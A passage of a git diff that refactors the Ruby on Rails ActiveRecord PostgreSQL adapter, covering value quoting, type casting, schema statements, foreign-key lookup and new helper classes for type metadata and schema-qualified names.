-            if /range$/ =~ sql_type
-              "'#{PostgreSQLColumn.range_to_string(value)}'::#{sql_type}"
-            else
-              super
-            end
-          when Array
-            case sql_type
-            when 'point' then super(PostgreSQLColumn.point_to_string(value))
-            when 'json' then super(PostgreSQLColumn.json_to_string(value))
-            else
-              if column.array
-                "'#{PostgreSQLColumn.array_to_string(value, column, self).gsub(/'/, "''")}'"
-              else
-                super
-              end
-            end
-          when Hash
-            case sql_type
-            when 'hstore' then super(PostgreSQLColumn.hstore_to_string(value), column)
-            when 'json' then super(PostgreSQLColumn.json_to_string(value), column)
-            else super
-            end
-          when IPAddr
-            case sql_type
-            when 'inet', 'cidr' then super(PostgreSQLColumn.cidr_to_string(value), column)
-            else super
-            end
-          when Float
-            if value.infinite? && column.type == :datetime
-              "'#{value.to_s.downcase}'"
-            elsif value.infinite? || value.nan?
-              "'#{value.to_s}'"
-            else
-              super
-            end
-          when Numeric
-            if sql_type == 'money' || [:string, :text].include?(column.type)
-              # Not truly string input, so doesn't require (or allow) escape string syntax.
-              "'#{value}'"
-            else
-              super
-            end
-          when String
-            case sql_type
-            when 'bytea' then "'#{escape_bytea(value)}'"
-            when 'xml'   then "xml '#{quote_string(value)}'"
-            when /^bit/
-              case value
-              when /^[01]*$/      then "B'#{value}'" # Bit-string notation
-              when /^[0-9A-F]*$/i then "X'#{value}'" # Hexadecimal notation
-              end
-            else
-              super
-            end
-          else
-            super
-          end
-        end
-
-        def type_cast(value, column, array_member = false)
-          return super(value, column) unless column
-
-          case value
-          when Range
-            return super(value, column) unless /range$/ =~ column.sql_type
-            PostgreSQLColumn.range_to_string(value)
-          when NilClass
-            if column.array && array_member
-              'NULL'
-            elsif column.array
-              value
-            else
-              super(value, column)
-            end
-          when Array
-            case column.sql_type
-            when 'point' then PostgreSQLColumn.point_to_string(value)
-            when 'json' then PostgreSQLColumn.json_to_string(value)
-            else
-              return super(value, column) unless column.array
-              PostgreSQLColumn.array_to_string(value, column, self)
-            end
-          when String
-            return super(value, column) unless 'bytea' == column.sql_type
-            { :value => value, :format => 1 }
-          when Hash
-            case column.sql_type
-            when 'hstore' then PostgreSQLColumn.hstore_to_string(value)
-            when 'json' then PostgreSQLColumn.json_to_string(value)
-            else super(value, column)
-            end
-          when IPAddr
-            return super(value, column) unless ['inet','cidr'].include? column.sql_type
-            PostgreSQLColumn.cidr_to_string(value)
-          else
-            super(value, column)
-          end
+          @connection.unescape_bytea(value) if value
         end
 
         # Quotes strings for use in SQL input.
@@ -135,14 +28,7 @@ module ActiveRecord
         # - "schema.name".table_name
         # - "schema.name"."table.name"
         def quote_table_name(name)
-          schema, name_part = extract_pg_identifier_from_name(name.to_s)
-
-          unless name_part
-            quote_column_name(schema)
-          else
-            table_name, name_part = extract_pg_identifier_from_name(name_part)
-            "#{quote_column_name(schema)}.#{quote_column_name(table_name)}"
-          end
+          Utils.extract_schema_qualified_name(name.to_s).quoted
         end
 
         def quote_table_name_for_assignment(table, attr)
@@ -157,15 +43,105 @@ module ActiveRecord
         # Quote date/time values for use in SQL input. Includes microseconds
         # if the value is a Time responding to usec.
         def quoted_date(value) #:nodoc:
-          result = super
-          if value.acts_like?(:time) && value.respond_to?(:usec)
-            result = "#{result}.#{sprintf("%06d", value.usec)}"
+          if value.year <= 0
+            bce_year = format("%04d", -value.year + 1)
+            super.sub(/^-?\d+/, bce_year) + " BC"
+          else
+            super
+          end
+        end
+
+        # Does not quote function default values for UUID columns
+        def quote_default_expression(value, column) #:nodoc:
+          if column.type == :uuid && value =~ /\(\)/
+            value
+          elsif column.respond_to?(:array?)
+            value = type_cast_from_column(column, value)
+            quote(value)
+          else
+            super
+          end
+        end
+
+        def lookup_cast_type_from_column(column) # :nodoc:
+          type_map.lookup(column.oid, column.fmod, column.sql_type)
+        end
+
+        def type_for_attribute_options(
+          type_name,
+          array: false,
+          range: false,
+          **options
+        )
+          if array
+            subtype = type_for_attribute_options(type_name, **options)
+            OID::Array.new(subtype)
+          elsif range
+            subtype = type_for_attribute_options(type_name, **options)
+            OID::Range.new(subtype)
+          else
+            super(type_name, **options)
+          end
+        end
+
+        private
+
+        def _quote(value)
+          case value
+          when Type::Binary::Data
+            "'#{escape_bytea(value.to_s)}'"
+          when OID::Xml::Data
+            "xml '#{quote_string(value.to_s)}'"
+          when OID::Bit::Data
+            if value.binary?
+              "B'#{value}'"
+            elsif value.hex?
+              "X'#{value}'"
+            end
+          when Float
+            if value.infinite? || value.nan?
+              "'#{value}'"
+            else
+              super
+            end
+          else
+            super
           end
+        end
 
-          if value.year < 0
-            result = result.sub(/^-/, "") + " BC"
+        def _type_cast(value)
+          case value
+          when Type::Binary::Data
+            # Return a bind param hash with format as binary.
+            # See http://deveiate.org/code/pg/PGconn.html#method-i-exec_prepared-doc
+            # for more information
+            { value: value.to_s, format: 1 }
+          when OID::Xml::Data, OID::Bit::Data
+            value.to_s
+          else
+            super
           end
-          result
+        end
+
+        def type_classes_with_standard_constructor
+          super.merge(
+            bit: OID::Bit,
+            bit_varying: OID::BitVarying,
+            binary: OID::Bytea,
+            cidr: OID::Cidr,
+            date_time: OID::DateTime,
+            decimal: OID::Decimal,
+            enum: OID::Enum,
+            hstore: OID::Hstore,
+            inet: OID::Inet,
+            json: OID::Json,
+            jsonb: OID::Jsonb,
+            money: OID::Money,
+            point: OID::Point,
+            uuid: OID::Uuid,
+            vector: OID::Vector,
+            xml: OID::Xml,
+          )
         end
       end
     end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
index bc775394a6..52b307c432 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/referential_integrity.rb
@@ -1,12 +1,12 @@
 module ActiveRecord
   module ConnectionAdapters
-    class PostgreSQLAdapter < AbstractAdapter
-      module ReferentialIntegrity
-        def supports_disable_referential_integrity? #:nodoc:
+    module PostgreSQL
+      module ReferentialIntegrity # :nodoc:
+        def supports_disable_referential_integrity? # :nodoc:
           true
         end
 
-        def disable_referential_integrity #:nodoc:
+        def disable_referential_integrity # :nodoc:
           if supports_disable_referential_integrity?
             begin
               execute(tables.collect { |name| "ALTER TABLE #{quote_table_name(name)} DISABLE TRIGGER ALL" }.join(";"))
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb
new file mode 100644
index 0000000000..b9078d4c86
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_definitions.rb
@@ -0,0 +1,150 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module ColumnMethods
+        def xml(*args)
+          options = args.extract_options!
+          column(args[0], :xml, options)
+        end
+
+        def tsvector(*args)
+          options = args.extract_options!
+          column(args[0], :tsvector, options)
+        end
+
+        def int4range(name, options = {})
+          column(name, :int4range, options)
+        end
+
+        def int8range(name, options = {})
+          column(name, :int8range, options)
+        end
+
+        def tsrange(name, options = {})
+          column(name, :tsrange, options)
+        end
+
+        def tstzrange(name, options = {})
+          column(name, :tstzrange, options)
+        end
+
+        def numrange(name, options = {})
+          column(name, :numrange, options)
+        end
+
+        def daterange(name, options = {})
+          column(name, :daterange, options)
+        end
+
+        def hstore(name, options = {})
+          column(name, :hstore, options)
+        end
+
+        def ltree(name, options = {})
+          column(name, :ltree, options)
+        end
+
+        def inet(name, options = {})
+          column(name, :inet, options)
+        end
+
+        def cidr(name, options = {})
+          column(name, :cidr, options)
+        end
+
+        def macaddr(name, options = {})
+          column(name, :macaddr, options)
+        end
+
+        def uuid(name, options = {})
+          column(name, :uuid, options)
+        end
+
+        def json(name, options = {})
+          column(name, :json, options)
+        end
+
+        def jsonb(name, options = {})
+          column(name, :jsonb, options)
+        end
+
+        def citext(name, options = {})
+          column(name, :citext, options)
+        end
+
+        def point(name, options = {})
+          column(name, :point, options)
+        end
+
+        def bit(name, options = {})
+          column(name, :bit, options)
+        end
+
+        def bit_varying(name, options = {})
+          column(name, :bit_varying, options)
+        end
+
+        def money(name, options = {})
+          column(name, :money, options)
+        end
+      end
+
+      class ColumnDefinition < ActiveRecord::ConnectionAdapters::ColumnDefinition
+        attr_accessor :array
+      end
+
+      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
+        include ColumnMethods
+
+        # Defines the primary key field.
+        # Use of the native PostgreSQL UUID type is supported, and can be used
+        # by defining your tables as such:
+        #
+        #   create_table :stuffs, id: :uuid do |t|
+        #     t.string :content
+        #     t.timestamps
+        #   end
+        #
+        # By default, this will use the +uuid_generate_v4()+ function from the
+        # +uuid-ossp+ extension, which MUST be enabled on your database. To enable
+        # the +uuid-ossp+ extension, you can use the +enable_extension+ method in your
+        # migrations. To use a UUID primary key without +uuid-ossp+ enabled, you can
+        # set the +:default+ option to +nil+:
+        #
+        #   create_table :stuffs, id: false do |t|
+        #     t.primary_key :id, :uuid, default: nil
+        #     t.uuid :foo_id
+        #     t.timestamps
+        #   end
+        #
+        # You may also pass a different UUID generation function from +uuid-ossp+
+        # or another library.
+        #
+        # Note that setting the UUID primary key default value to +nil+ will
+        # require you to assure that you always provide a UUID value before saving
+        # a record (as primary keys cannot be +nil+). This might be done via the
+        # +SecureRandom.uuid+ method and a +before_save+ callback, for instance.
+        def primary_key(name, type = :primary_key, options = {})
+          options[:default] = options.fetch(:default, 'uuid_generate_v4()') if type == :uuid
+          super
+        end
+
+        def new_column_definition(name, type, options) # :nodoc:
+          column = super
+          column.array = options[:array]
+          column
+        end
+
+        private
+
+          def create_column_definition(name, type)
+            PostgreSQL::ColumnDefinition.new name, type
+          end
+      end
+
+      class Table < ActiveRecord::ConnectionAdapters::Table
+        include ColumnMethods
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
index 3fce8de1ba..503dda60f4 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -1,42 +1,16 @@
 module ActiveRecord
   module ConnectionAdapters
-    class PostgreSQLAdapter < AbstractAdapter
+    module PostgreSQL
       class SchemaCreation < AbstractAdapter::SchemaCreation
         private
 
-        def visit_AddColumn(o)
-          sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
-          sql = "ADD COLUMN #{quote_column_name(o.name)} #{sql_type}"
-          add_column_options!(sql, column_options(o))
-        end
-
         def visit_ColumnDefinition(o)
-          sql = super
-          if o.primary_key? && o.type == :uuid
-            sql << " PRIMARY KEY "
-            add_column_options!(sql, column_options(o))
-          end
-          sql
-        end
-
-        def add_column_options!(sql, options)
-          if options[:array] || options[:column].try(:array)
-            sql << '[]'
-          end
-
-          column = options.fetch(:column) { return super }
-          if column.type == :uuid && options[:default] =~ /\(\)/
-            sql << " DEFAULT #{options[:default]}"
-          else
-            super
-          end
+          o.sql_type = type_to_sql(o.type, o.limit, o.precision, o.scale)
+          o.sql_type << '[]' if o.array
+          super
         end
       end
 
-      def schema_creation
-        SchemaCreation.new self
-      end
-
       module SchemaStatements
         # Drops the database specified on the +name+ attribute
         # and creates it again using the provided +options+.
@@ -46,7 +20,7 @@ module ActiveRecord
         end
 
         # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
-        # <tt>:encoding</tt>, <tt>:collation</tt>, <tt>:ctype</tt>,
+        # <tt>:encoding</tt> (defaults to utf8), <tt>:collation</tt>, <tt>:ctype</tt>,
         # <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
         # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
         #
@@ -56,8 +30,8 @@ module ActiveRecord
         def create_database(name, options = {})
           options = { encoding: 'utf8' }.merge!(options.symbolize_keys)
 
-          option_string = options.sum do |key, value|
-            case key
+          option_string = options.inject("") do |memo, (key, value)|
+            memo += case key
             when :owner
               " OWNER = \"#{value}\""
             when :template
@@ -101,22 +75,23 @@ module ActiveRecord
         # If the schema is not specified as part of +name+ then it will only find tables within
         # the current schema search path (regardless of permissions to access tables in other schemas)
         def table_exists?(name)
-          schema, table = Utils.extract_schema_and_table(name.to_s)
-          return false unless table
-
-          binds = [[nil, table]]
-          binds << [nil, schema] if schema
+          name = Utils.extract_schema_qualified_name(name.to_s)
+          return false unless name.identifier
 
           exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
               SELECT COUNT(*)
               FROM pg_class c
               LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
-              WHERE c.relkind in ('v','r')
-              AND c.relname = '#{table.gsub(/(^"|"$)/,'')}'
-              AND n.nspname = #{schema ? "'#{schema}'" : 'ANY (current_schemas(false))'}
+              WHERE c.relkind IN ('r','v','m') -- (r)elation/table, (v)iew, (m)aterialized view
+              AND c.relname = '#{name.identifier}'
+              AND n.nspname = #{name.schema ? "'#{name.schema}'" : 'ANY (current_schemas(false))'}
           SQL
         end
 
+        def drop_table(table_name, options = {})
+          execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}"
+        end
+
         # Returns true if schema exists.
         def schema_exists?(name)
           exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
@@ -126,6 +101,19 @@ module ActiveRecord
           SQL
         end
 
+        def index_name_exists?(table_name, index_name, default)
+          exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
+            SELECT COUNT(*)
+            FROM pg_class t
+            INNER JOIN pg_index d ON t.oid = d.indrelid
+            INNER JOIN pg_class i ON d.indexrelid = i.oid
+            WHERE i.relkind = 'i'
+              AND i.relname = '#{index_name}'
+              AND t.relname = '#{table_name}'
+              AND i.relnamespace IN (SELECT oid FROM pg_namespace WHERE nspname = ANY (current_schemas(false)) )
+          SQL
+        end
+
         # Returns an array of indexes for the given table.
         def indexes(table_name, name = nil)
            result = query(<<-SQL, 'SCHEMA')
@@ -172,13 +160,19 @@ module ActiveRecord
         def columns(table_name)
           # Limit, precision, and scale are all handled by the superclass.
           column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
-            oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
-              OID::Identity.new
-            }
-            PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
+            oid = oid.to_i
+            fmod = fmod.to_i
+            type_metadata = fetch_type_metadata(column_name, type, oid, fmod)
+            default_value = extract_value_from_default(default)
+            default_function = extract_default_function(default_value, default)
+            new_column(column_name, default_value, type_metadata, notnull == 'f', default_function)
           end
         end
 
+        def new_column(name, default, sql_type_metadata = nil, null = true, default_function = nil) # :nodoc:
+          PostgreSQLColumn.new(name, default, sql_type_metadata, null, default_function)
+        end
+
         # Returns the current database name.
         def current_database
           query('select current_database()', 'SCHEMA')[0][0]
@@ -263,9 +257,9 @@ module ActiveRecord
         def default_sequence_name(table_name, pk = nil) #:nodoc:
           result = serial_sequence(table_name, pk || 'id')
           return nil unless result
-          result.split('.').last
+          Utils.extract_schema_qualified_name(result).to_s
         rescue ActiveRecord::StatementInvalid
-          "#{table_name}_#{pk || 'id'}_seq"
+          PostgreSQL::Name.new(nil, "#{table_name}_#{pk || 'id'}_seq").to_s
         end
 
         def serial_sequence(table, column)
@@ -275,6 +269,23 @@ module ActiveRecord
           result.rows.first.first
         end
 
+        # Sets the sequence of a table's primary key to the specified value.
+        def set_pk_sequence!(table, value) #:nodoc:
+          pk, sequence = pk_and_sequence_for(table)
+
+          if pk
+            if sequence
+              quoted_sequence = quote_table_name(sequence)
+
+              select_value <<-end_sql, 'SCHEMA'
+              SELECT setval('#{quoted_sequence}', #{value})
+              end_sql
+            else
+              @logger.warn "#{table} has primary key #{pk} with no default sequence" if @logger
+            end
+          end
+        end
+
         # Resets the sequence of a table's primary key to the maximum value.
         def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:
           unless pk and sequence
@@ -302,24 +313,27 @@ module ActiveRecord
           # First try looking for a sequence with a dependency on the
           # given table's primary key.
           result = query(<<-end_sql, 'SCHEMA')[0]
-            SELECT attr.attname, seq.relname
+            SELECT attr.attname, nsp.nspname, seq.relname
             FROM pg_class      seq,
                  pg_attribute  attr,
                  pg_depend     dep,
-                 pg_constraint cons
+                 pg_constraint cons,
+                 pg_namespace  nsp
             WHERE seq.oid           = dep.objid
               AND seq.relkind       = 'S'
               AND attr.attrelid     = dep.refobjid
               AND attr.attnum       = dep.refobjsubid
               AND attr.attrelid     = cons.conrelid
               AND attr.attnum       = cons.conkey[1]
+              AND seq.relnamespace  = nsp.oid
               AND cons.contype      = 'p'
+              AND dep.classid       = 'pg_class'::regclass
               AND dep.refobjid      = '#{quote_table_name(table)}'::regclass
           end_sql
 
           if result.nil? or result.empty?
             result = query(<<-end_sql, 'SCHEMA')[0]
-              SELECT attr.attname,
+              SELECT attr.attname, nsp.nspname,
                 CASE
                   WHEN pg_get_expr(def.adbin, def.adrelid) !~* 'nextval' THEN NULL
                   WHEN split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2) ~ '.' THEN
@@ -331,33 +345,39 @@ module ActiveRecord
               JOIN pg_attribute   attr ON (t.oid = attrelid)
               JOIN pg_attrdef     def  ON (adrelid = attrelid AND adnum = attnum)
               JOIN pg_constraint  cons ON (conrelid = adrelid AND adnum = conkey[1])
+              JOIN pg_namespace   nsp  ON (t.relnamespace = nsp.oid)
               WHERE t.oid = '#{quote_table_name(table)}'::regclass
                 AND cons.contype = 'p'
                 AND pg_get_expr(def.adbin, def.adrelid) ~* 'nextval|uuid_generate'
             end_sql
           end
 
-          [result.first, result.last]
+          pk = result.shift
+          if result.last
+            [pk, PostgreSQL::Name.new(*result)]
+          else
+            [pk, nil]
+          end
         rescue
           nil
         end
 
         # Returns just a table's primary key
         def primary_key(table)
-          row = exec_query(<<-end_sql, 'SCHEMA').rows.first
+          pks = exec_query(<<-end_sql, 'SCHEMA').rows
             SELECT attr.attname
             FROM pg_attribute attr
-            INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = cons.conkey[1]
+            INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = any(cons.conkey)
             WHERE cons.contype = 'p'
               AND cons.conrelid = '#{quote_table_name(table)}'::regclass
           end_sql
-
-          row && row.first
+          return nil unless pks.count == 1
+          pks[0][0]
         end
 
         # Renames a table.
-        # Also renames a table's primary key sequence if the sequence name matches the
-        # Active Record default.
+        # Also renames a table's primary key sequence if the sequence name exists and
+        # matches the Active Record default.
         #
         # Example:
         #   rename_table('octopuses', 'octopi')
@@ -365,9 +385,12 @@ module ActiveRecord
           clear_cache!
           execute "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
           pk, seq = pk_and_sequence_for(new_name)
-          if seq == "#{table_name}_#{pk}_seq"
+          if seq && seq.identifier == "#{table_name}_#{pk}_seq"
             new_seq = "#{new_name}_#{pk}_seq"
+            idx = "#{table_name}_pkey"
+            new_idx = "#{new_name}_pkey"
             execute "ALTER TABLE #{quote_table_name(seq)} RENAME TO #{quote_table_name(new_seq)}"
+            execute "ALTER INDEX #{quote_table_name(idx)} RENAME TO #{quote_table_name(new_idx)}"
           end
 
           rename_table_indexes(table_name, new_name)
@@ -386,7 +409,12 @@ module ActiveRecord
           quoted_table_name = quote_table_name(table_name)
           sql_type = type_to_sql(type, options[:limit], options[:precision], options[:scale])
           sql_type << "[]" if options[:array]
-          execute "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{sql_type}"
+          sql = "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quote_column_name(column_name)} TYPE #{sql_type}"
+          sql << " USING #{options[:using]}" if options[:using]
+          if options[:cast_as]
+            sql << " USING CAST(#{quote_column_name(column_name)} AS #{type_to_sql(options[:cast_as], options[:limit], options[:precision], options[:scale])})"
+          end
+          execute sql
 
           change_column_default(table_name, column_name, options[:default]) if options_include_default?(options)
           change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
@@ -395,13 +423,24 @@ module ActiveRecord
         # Changes the default value of a table column.
         def change_column_default(table_name, column_name, default)
           clear_cache!
-          execute "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} SET DEFAULT #{quote(default)}"
+          column = column_for(table_name, column_name)
+          return unless column
+
+          alter_column_query = "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} %s"
+          if default.nil?
+            # <tt>DEFAULT NULL</tt> results in the same behavior as <tt>DROP DEFAULT</tt>. However, PostgreSQL will
+            # cast the default to the columns type, which leaves us with a default like "default NULL::character varying".
+            execute alter_column_query % "DROP DEFAULT"
+          else
+            execute alter_column_query % "SET DEFAULT #{quote_default_expression(default, column)}"
+          end
         end
 
         def change_column_null(table_name, column_name, null, default = nil)
           clear_cache!
           unless null || default.nil?
-            execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote(default)} WHERE #{quote_column_name(column_name)} IS NULL")
+            column = column_for(table_name, column_name)
+            execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote_default_expression(default, column)} WHERE #{quote_column_name(column_name)} IS NULL") if column
           end
           execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
         end
@@ -423,9 +462,48 @@ module ActiveRecord
         end
 
         def rename_index(table_name, old_name, new_name)
+          validate_index_length!(table_name, new_name)
+
           execute "ALTER INDEX #{quote_column_name(old_name)} RENAME TO #{quote_table_name(new_name)}"
         end
 
+        def foreign_keys(table_name)
+          fk_info = select_all <<-SQL.strip_heredoc
+            SELECT t2.oid::regclass::text AS to_table, a1.attname AS column, a2.attname AS primary_key, c.conname AS name, c.confupdtype AS on_update, c.confdeltype AS on_delete
+            FROM pg_constraint c
+            JOIN pg_class t1 ON c.conrelid = t1.oid
+            JOIN pg_class t2 ON c.confrelid = t2.oid
+            JOIN pg_attribute a1 ON a1.attnum = c.conkey[1] AND a1.attrelid = t1.oid
+            JOIN pg_attribute a2 ON a2.attnum = c.confkey[1] AND a2.attrelid = t2.oid
+            JOIN pg_namespace t3 ON c.connamespace = t3.oid
+            WHERE c.contype = 'f'
+              AND t1.relname = #{quote(table_name)}
+              AND t3.nspname = ANY (current_schemas(false))
+            ORDER BY c.conname
+          SQL
+
+          fk_info.map do |row|
+            options = {
+              column: row['column'],
+              name: row['name'],
+              primary_key: row['primary_key']
+            }
+
+            options[:on_delete] = extract_foreign_key_action(row['on_delete'])
+            options[:on_update] = extract_foreign_key_action(row['on_update'])
+
+            ForeignKeyDefinition.new(table_name, row['to_table'], options)
+          end
+        end
+
+        def extract_foreign_key_action(specifier) # :nodoc:
+          case specifier
+          when 'c'; :cascade
+          when 'n'; :nullify
+          when 'r'; :restrict
+          end
+        end
+
         def index_name_length
           63
         end
@@ -456,13 +534,6 @@ module ActiveRecord
               when 5..8; 'bigint'
               else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.")
             end
-          when 'datetime'
-            return super unless precision
-
-            case precision
-              when 0..6; "timestamp(#{precision})"
-              else raise(ActiveRecordError, "No timestamp type has precision of #{precision}. The allowed range of precision is from 0 to 6")
-            end
           else
             super
           end
@@ -475,11 +546,24 @@ module ActiveRecord
               # Convert Arel node to string
               s = s.to_sql unless s.is_a?(String)
               # Remove any ASC/DESC modifiers
-              s.gsub(/\s+(ASC|DESC)\s*(NULLS\s+(FIRST|LAST)\s*)?/i, '')
+              s.gsub(/\s+(?:ASC|DESC)\b/i, '')
+               .gsub(/\s+NULLS\s+(?:FIRST|LAST)\b/i, '')
             }.reject(&:blank?).map.with_index { |column, i| "#{column} AS alias_#{i}" }
 
           [super, *order_columns].join(', ')
         end
+
+        def fetch_type_metadata(column_name, sql_type, oid, fmod)
+          cast_type = get_oid_type(oid, fmod, column_name, sql_type)
+          simple_type = SqlTypeMetadata.new(
+            sql_type: sql_type,
+            type: cast_type.type,
+            limit: cast_type.limit,
+            precision: cast_type.precision,
+            scale: cast_type.scale,
+          )
+          PostgreSQLTypeMetadata.new(simple_type, oid: oid, fmod: fmod)
+        end
       end
     end
   end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb b/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb
new file mode 100644
index 0000000000..58715978f7
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb
@@ -0,0 +1,35 @@
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLTypeMetadata < DelegateClass(SqlTypeMetadata)
+      attr_reader :oid, :fmod, :array
+
+      def initialize(type_metadata, oid: nil, fmod: nil)
+        super(type_metadata)
+        @type_metadata = type_metadata
+        @oid = oid
+        @fmod = fmod
+        @array = /\[\]$/ === type_metadata.sql_type
+      end
+
+      def sql_type
+        super.gsub(/\[\]$/, "")
+      end
+
+      def ==(other)
+        other.is_a?(PostgreSQLTypeMetadata) &&
+          attributes_for_hash == other.attributes_for_hash
+      end
+      alias eql? ==
+
+      def hash
+        attributes_for_hash.hash
+      end
+
+      protected
+
+      def attributes_for_hash
+        [self.class, @type_metadata, oid, fmod]
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb b/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb
new file mode 100644
index 0000000000..9a0b80d7d3
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb
@@ -0,0 +1,77 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      # Value Object to hold a schema qualified name.
+      # This is usually the name of a PostgreSQL relation but it can also represent
+      # schema qualified type names. +schema+ and +identifier+ are unquoted to prevent
+      # double quoting.
+      class Name # :nodoc:
+        SEPARATOR = "."
+        attr_reader :schema, :identifier
+
+        def initialize(schema, identifier)
+          @schema, @identifier = unquote(schema), unquote(identifier)
+        end
+
+        def to_s
+          parts.join SEPARATOR
+        end
+
+        def quoted
+          if schema
+            PGconn.quote_ident(schema) << SEPARATOR << PGconn.quote_ident(identifier)
+          else
+            PGconn.quote_ident(identifier)
+          end
+        end
+
+        def ==(o)
+          o.class == self.class && o.parts == parts
+        end
+        alias_method :eql?, :==
+
+        def hash
+          parts.hash
+        end
+
+        protected
+          def unquote(part)
+            if part && part.start_with?('"')
+              part[1..-2]
+            else
+              part
+            end
+          end
+
+          def parts
+            @parts ||= [@schema, @identifier].compact
+          end
+      end
+
+      module Utils # :nodoc:
+        extend self
+
+        # Returns an instance of <tt>ActiveRecord::ConnectionAdapters::PostgreSQL::Name</tt>
+        # extracted from +string+.
+        # +schema+ is nil if not specified in +string+.
+        # +schema+ and +identifier+ exclude surrounding quotes (regardless of whether provided in +string+)
+        # +string+ supports the range of schema/table references understood by PostgreSQL, for example:
+        #
+        # * <tt>table_name</tt>
+        # * <tt>"table.name"</tt>
+        # * <tt>schema_name.table_name</tt>
+        # * <tt>schema_name."table.name"</tt>
+        # * <tt>"schema_name".table_name</tt>
+        # * <tt>"schema.name"."table name"</tt>
+        def extract_schema_qualified_name(string)
+          schema, table = string.scan(/[^".\s]+|"[^"]*"/)
+          if table.nil?
+            table = schema
+            schema = nil
+          end
+          PostgreSQL::Name.new(schema, table)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
index 5b9453a579..6d7e1075d7 100644
--- a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -1,16 +1,19 @@
-require 'active_record/connection_adapters/abstract_adapter'
-require 'active_record/connection_adapters/statement_pool'
-require 'active_record/connection_adapters/postgresql/oid'
-require 'active_record/connection_adapters/postgresql/cast'
-require 'active_record/connection_adapters/postgresql/array_parser'
-require 'active_record/connection_adapters/postgresql/quoting'
-require 'active_record/connection_adapters/postgresql/schema_statements'
-require 'active_record/connection_adapters/postgresql/database_statements'
-require 'active_record/connection_adapters/postgresql/referential_integrity'
+require "active_record/connection_adapters/abstract_adapter"
+require "active_record/connection_adapters/postgresql/column"
+require "active_record/connection_adapters/postgresql/database_statements"
+require "active_record/connection_adapters/postgresql/oid"
+require "active_record/connection_adapters/postgresql/quoting"
+require "active_record/connection_adapters/postgresql/referential_integrity"
+require "active_record/connection_adapters/postgresql/schema_definitions"
+require "active_record/connection_adapters/postgresql/schema_statements"
+require "active_record/connection_adapters/postgresql/type_metadata"
+require "active_record/connection_adapters/postgresql/utils"
+require "active_record/connection_adapters/statement_pool"
+
 require 'arel/visitors/bind_visitor'
 
 # Make sure we're using pg high enough for PGResult#values
-gem 'pg', '~> 0.11'
+gem 'pg', '~> 0.15'
 require 'pg'
 
 require 'ipaddr'
@@ -43,202 +46,6 @@ module ActiveRecord
   end
 
   module ConnectionAdapters
-    # PostgreSQL-specific extensions to column definitions in a table.
-    class PostgreSQLColumn < Column #:nodoc:
-      attr_accessor :array
-      # Instantiates a new PostgreSQL column definition in a table.
-      def initialize(name, default, oid_type, sql_type = nil, null = true)
-        @oid_type = oid_type
-        if sql_type =~ /\[\]$/
-          @array = true
-          super(name, self.class.extract_value_from_default(default), sql_type[0..sql_type.length - 3], null)
-        else
-          @array = false
-          super(name, self.class.extract_value_from_default(default), sql_type, null)
-        end
-      end
-
-      # :stopdoc:
-      class << self
